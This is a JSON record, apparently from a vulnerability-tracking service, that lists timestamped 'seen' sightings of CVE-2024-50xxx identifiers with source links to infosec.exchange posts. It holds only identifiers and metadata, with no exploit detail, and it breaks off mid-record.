{"vulnerability": "2024-50", "sightings": [{"uuid": "72e66d41-c947-43f4-972b-b0b067362359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50468", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T17:44:38.862718Z"}, {"uuid": "f8cefa6c-1720-438b-a0cb-7f9367790bcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50469", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T17:44:39.144793Z"}, {"uuid": "41e4e56b-d78d-4b73-9d4d-e9d28124987e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50460", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T17:52:11.857583Z"}, {"uuid": "e86599d6-5486-4b51-a004-63cc0b2311d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50461", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T17:52:12.212554Z"}, {"uuid": "0527de4e-a29e-464a-85f1-904efea38f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50462", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T17:52:12.434148Z"}, {"uuid": "e5ca6625-5fb0-45b9-b27a-e8d10c4b1671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50464", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T17:52:12.775353Z"}, {"uuid": "be6053af-3090-4483-b989-5d8dcd1c3e0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50467", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T18:07:13.311575Z"}, {"uuid": "789a9f24-3737-41d1-8254-24ad41d5d5cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50457", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T20:09:52.435608Z"}, {"uuid": "f7ffecf4-c140-4b6b-bb5f-697c97c5ae7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50495", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T20:59:27.297289Z"}, {"uuid": "8b4cda31-2563-4eac-9371-8ec43559312f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50496", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-28T20:59:27.516820Z"}, {"uuid": "3080a7e4-6723-40e6-9ac8-54c9b351f672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431437021923419", "content": "", "creation_timestamp": "2024-11-05T17:06:11.034127Z"}, {"uuid": "997d6b53-9e88-49cb-80c7-d30531f66583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50090", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431437055534198", "content": "", "creation_timestamp": "2024-11-05T17:06:11.533019Z"}, {"uuid": "291b9c7a-1324-4ad9-80e7-e5b854389aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50093", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431496085656824", "content": "", "creation_timestamp": "2024-11-05T17:21:15.148436Z"}, {"uuid": "1589ee84-04ab-423c-a6df-321613b87e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50091", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431496057393313", "content": "", "creation_timestamp": "2024-11-05T17:21:15.401829Z"}, {"uuid": "f7902018-d04a-4467-8f1d-b43c0be7595e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50092", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431496071614443", "content": "", "creation_timestamp": "2024-11-05T17:21:15.546332Z"}, {"uuid": "69a3857b-ac48-430f-86ae-61f492c587f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50094", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431496099523719", "content": "", "creation_timestamp": "2024-11-05T17:21:15.594616Z"}, {"uuid": "c6c6be04-e489-406c-bc70-1a5653e15a64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50994", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113431507406047500", "content": "", "creation_timestamp": "2024-11-05T17:24:04.935239Z"}, {"uuid": "5327e7be-e0f2-45fb-ad1f-46de860eaac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50095", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431555097742073", "content": "", "creation_timestamp": "2024-11-05T17:36:12.703437Z"}, {"uuid": "fbae91d2-5607-40ca-a281-b62dfa42716a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50096", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431555130886058", "content": "", "creation_timestamp": "2024-11-05T17:36:13.192299Z"}, {"uuid": "dd48e826-8327-48ce-aca7-c8e5f46a4f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50097", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431555144366840", "content": "", "creation_timestamp": "2024-11-05T17:36:13.320395Z"}, {"uuid": "c187777d-099a-43b0-aa06-c5a5f1962a97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50335", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431836014035976", "content": "", "creation_timestamp": "2024-11-05T18:47:40.209574Z"}, {"uuid": "76263087-b9bc-476f-883e-c61b9c582e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50333", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431836000326931", "content": "", "creation_timestamp": "2024-11-05T18:47:40.263265Z"}, {"uuid": "523b0569-b89d-415f-a9b9-a89a8c1a48ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50332", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113431835985090910", "content": "", "creation_timestamp": "2024-11-05T18:47:40.313315Z"}, {"uuid": "cccf40a1-b64a-448a-8cb7-38726d4994fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50345", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113438023541075562", "content": "", "creation_timestamp": "2024-11-06T21:01:13.434625Z"}, {"uuid": "79fe36b6-7324-4357-a521-53de5705e86a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50340", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113438061792761841", "content": "", "creation_timestamp": "2024-11-06T21:10:56.960850Z"}, {"uuid": "c7a9f000-51df-4312-bc7d-9e3388cfd7de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50341", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113438061807610898", "content": "", "creation_timestamp": "2024-11-06T21:10:57.120704Z"}, {"uuid": "e21914a2-9664-4c81-8f29-fa8b3ee5f60e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50342", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113438061821670222", "content": "", "creation_timestamp": "2024-11-06T21:10:57.410313Z"}, {"uuid": "2c154799-144b-491e-aa15-f6b3ecd8cf3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50145", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441055307265225", "content": "", "creation_timestamp": "2024-11-07T09:52:14.674133Z"}, {"uuid": "a847735f-d5cc-49e8-9cdb-89116f7f8c90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50146", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441055324482884", "content": "", "creation_timestamp": "2024-11-07T09:52:14.708620Z"}, {"uuid": "ff066205-7b8e-4439-b580-1ec258eb4fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50150", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441114370633567", "content": "", "creation_timestamp": "2024-11-07T10:07:15.866798Z"}, {"uuid": "8b295fc8-6702-4afb-b70b-92d4844fd9e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50343", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113438120822129921", "content": "", "creation_timestamp": "2024-11-06T21:25:57.698913Z"}, {"uuid": "4101d1a0-1c5a-4027-88df-158c2f5b03b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50139", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440984913066438", "content": "", "creation_timestamp": "2024-11-07T09:34:20.341916Z"}, {"uuid": "6dba18ab-c77e-495c-8e80-d1084b8973bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50147", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441114328296520", "content": "", "creation_timestamp": "2024-11-07T10:07:15.070251Z"}, {"uuid": "6afd5c36-b826-4e18-a517-8be1d0a3ef90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50148", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441114342359543", "content": "", "creation_timestamp": "2024-11-07T10:07:15.274784Z"}, {"uuid": "fe70adeb-e4c6-4205-9041-87d2a796692a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50141", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440996244959037", "content": "", "creation_timestamp": "2024-11-07T09:37:13.242646Z"}, {"uuid": "d9399f3f-b7a0-4da2-a73d-8266fb8c994f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50142", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440996259797003", "content": "", "creation_timestamp": "2024-11-07T09:37:13.433365Z"}, {"uuid": "fb1692f1-2454-43f1-9a0b-19168e005475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50143", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441055278897398", "content": "", "creation_timestamp": "2024-11-07T09:52:13.913091Z"}, {"uuid": "02872d78-79b7-4a69-98fb-04e5307f6ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50149", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441114356630970", "content": "", "creation_timestamp": "2024-11-07T10:07:15.590814Z"}, {"uuid": "965e62fc-1de2-436d-b5ca-69972e5703cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50140", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440984929040866", "content": "", "creation_timestamp": "2024-11-07T09:34:20.597898Z"}, {"uuid": "29680416-ecb3-4ca8-b073-913c110cb06d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50141", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440984943405491", "content": "", "creation_timestamp": "2024-11-07T09:34:20.840292Z"}, {"uuid": "b7b03c50-688f-4395-a1d4-055e55a8b148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50142", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440984958023623", "content": "", "creation_timestamp": "2024-11-07T09:34:21.069157Z"}, {"uuid": "acb415f7-82a9-4600-8467-a339e941a45e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50144", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441055293181302", "content": "", "creation_timestamp": "2024-11-07T09:52:14.272905Z"}, {"uuid": "d07c502d-ab4d-45f9-9713-4e6bf4a0ec7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50144", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113441129322849823", "content": "", "creation_timestamp": "2024-11-07T10:11:03.733211Z"}, {"uuid": "84343efd-c0fb-4d1f-a868-639f819dccaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50139", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440996205884449", "content": "", "creation_timestamp": "2024-11-07T09:37:12.597733Z"}, {"uuid": "87c1f5e9-27da-469c-9a76-c2ad1bdd02b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50140", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113440996222790807", "content": "", "creation_timestamp": "2024-11-07T09:37:13.033381Z"}, {"uuid": "1c541fcf-2db2-4368-a8d7-453a7ba81b16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50151", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441173371221215", "content": "", "creation_timestamp": "2024-11-07T10:22:15.981563Z"}, {"uuid": "7714f897-6fa7-4e59-aaca-22a41e9a437e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50152", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441173386671955", "content": "", "creation_timestamp": "2024-11-07T10:22:16.236536Z"}, {"uuid": "fd7118e6-576a-45b9-8ceb-e204803bfb1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50153", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441173400665037", "content": "", "creation_timestamp": "2024-11-07T10:22:16.434299Z"}, {"uuid": "78012276-0185-49c8-aeb3-d1d3008a6081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50154", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441173414751479", "content": "", "creation_timestamp": "2024-11-07T10:22:16.682640Z"}, {"uuid": "04d2902d-7803-4905-841d-37a98c861885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50155", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441232416925005", "content": "", "creation_timestamp": "2024-11-07T10:37:17.011905Z"}, {"uuid": "26cc8bfa-b929-418c-ba34-348185262fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50156", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441232433416909", "content": "", "creation_timestamp": "2024-11-07T10:37:17.231362Z"}, {"uuid": "30ec3ec5-e1ce-44da-9b97-951d06681756", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50157", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441232448624767", "content": "", "creation_timestamp": "2024-11-07T10:37:17.471205Z"}, {"uuid": "7708ee98-64f6-4598-9a17-35d0283b670c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50158", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441232463736752", "content": "", "creation_timestamp": "2024-11-07T10:37:17.765288Z"}, {"uuid": "f486421f-6222-43f5-b3f0-579fc77e348f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50159", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441291467025906", "content": "", "creation_timestamp": "2024-11-07T10:52:17.980599Z"}, {"uuid": "31ba6267-891f-4243-b39e-a10a61548b1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50160", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441291484969274", "content": "", "creation_timestamp": "2024-11-07T10:52:18.233279Z"}, {"uuid": "dc744bcc-d376-49b2-8f7f-4818f6876e1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50161", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441291499221888", "content": "", "creation_timestamp": "2024-11-07T10:52:18.345957Z"}, {"uuid": "3d969720-1543-4e44-80a6-74e13cfec500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50162", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441291515187787", "content": "", "creation_timestamp": "2024-11-07T10:52:18.874208Z"}, {"uuid": "6508674f-b579-4c30-b0d1-1b9478483bae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50163", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441350519511886", "content": "", "creation_timestamp": "2024-11-07T11:07:19.035484Z"}, {"uuid": "4b396f12-7d66-4f2d-a816-6f3ee03a946f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50164", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441350536152302", "content": "", "creation_timestamp": "2024-11-07T11:07:19.452295Z"}, {"uuid": "a3df08d1-6976-4524-80d5-105daf82c3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50166", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441350577758176", "content": "", "creation_timestamp": "2024-11-07T11:07:19.842316Z"}, {"uuid": "293669fe-104e-466b-9bd9-23db333b45e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50165", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441350552985303", "content": "", "creation_timestamp": "2024-11-07T11:07:20.005775Z"}, {"uuid": "aeeea533-2271-428a-b190-89af96570e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50167", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441409579177688", "content": "", "creation_timestamp": "2024-11-07T11:22:20.209433Z"}, {"uuid": "2e10c73d-05d1-4533-bf73-9c9cdf26ddc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50168", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441409612448857", "content": "", "creation_timestamp": "2024-11-07T11:22:20.674792Z"}, {"uuid": "a33cf527-2b69-4c38-9c7f-9e0585ecf700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50169", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441409630594716", "content": "", "creation_timestamp": "2024-11-07T11:22:20.852309Z"}, {"uuid": "b1506847-42bb-4a8e-abf8-e455df8ba593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50170", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441409644856521", "content": "", "creation_timestamp": "2024-11-07T11:22:21.238924Z"}, {"uuid": "a8ed3090-2932-41cb-a0f5-7ef853eb05c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50171", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441468672986537", "content": "", "creation_timestamp": "2024-11-07T11:37:23.800791Z"}, {"uuid": "2c94203a-9093-47f0-a94a-85abf26ffd16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50172", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113441468686915165", "content": "", "creation_timestamp": "2024-11-07T11:37:24.772454Z"}, {"uuid": "3a47f5b1-8fc2-4636-92b9-94ec58267a6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50599", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113443732594424567", "content": "", "creation_timestamp": "2024-11-07T21:13:06.634655Z"}, {"uuid": "2ea27ef3-7447-4ed0-827a-5eda301f7358", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50766", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113443779218993275", "content": "", "creation_timestamp": "2024-11-07T21:24:58.088358Z"}, {"uuid": "bf9dec81-6490-4cab-aa6a-fb89466585ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50173", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445674264617390", "content": "", "creation_timestamp": "2024-11-08T05:26:54.263468Z"}, {"uuid": "f345590d-2d18-4c98-940d-3a41c74c7cc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50174", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445674278944543", "content": "", "creation_timestamp": "2024-11-08T05:26:54.317440Z"}, {"uuid": "bf622c01-97af-484e-b254-a44a227c5e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50176", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445674306951771", "content": "", "creation_timestamp": "2024-11-08T05:26:54.732885Z"}, {"uuid": "fb8f6fa7-e58f-4586-bf59-5c7e196b6da1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50175", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445674293327700", "content": "", "creation_timestamp": "2024-11-08T05:26:55.004686Z"}, {"uuid": "91f640b9-2280-459c-ae22-ef7219d08ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50179", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445733331752445", "content": "", "creation_timestamp": "2024-11-08T05:41:57.398524Z"}, {"uuid": "8253c108-ca1c-4a64-b666-83558e4c8620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50178", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445733318332079", "content": "", "creation_timestamp": "2024-11-08T05:41:57.522551Z"}, {"uuid": "c00fbea0-7c25-4915-b194-aea70817cb00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50177", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445733304835286", "content": "", "creation_timestamp": "2024-11-08T05:41:57.626795Z"}, {"uuid": "e84bf986-da12-4307-b887-2ba8ead568d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50180", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445742156610673", "content": "", "creation_timestamp": "2024-11-08T05:44:10.274737Z"}, {"uuid": "73241bed-eb31-4508-9624-2beb5afa01fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50181", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445742170793071", "content": "", "creation_timestamp": "2024-11-08T05:44:10.372408Z"}, {"uuid": "9a53c02b-2dc6-4866-951d-5a49f96cd11a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50182", "type": "seen", 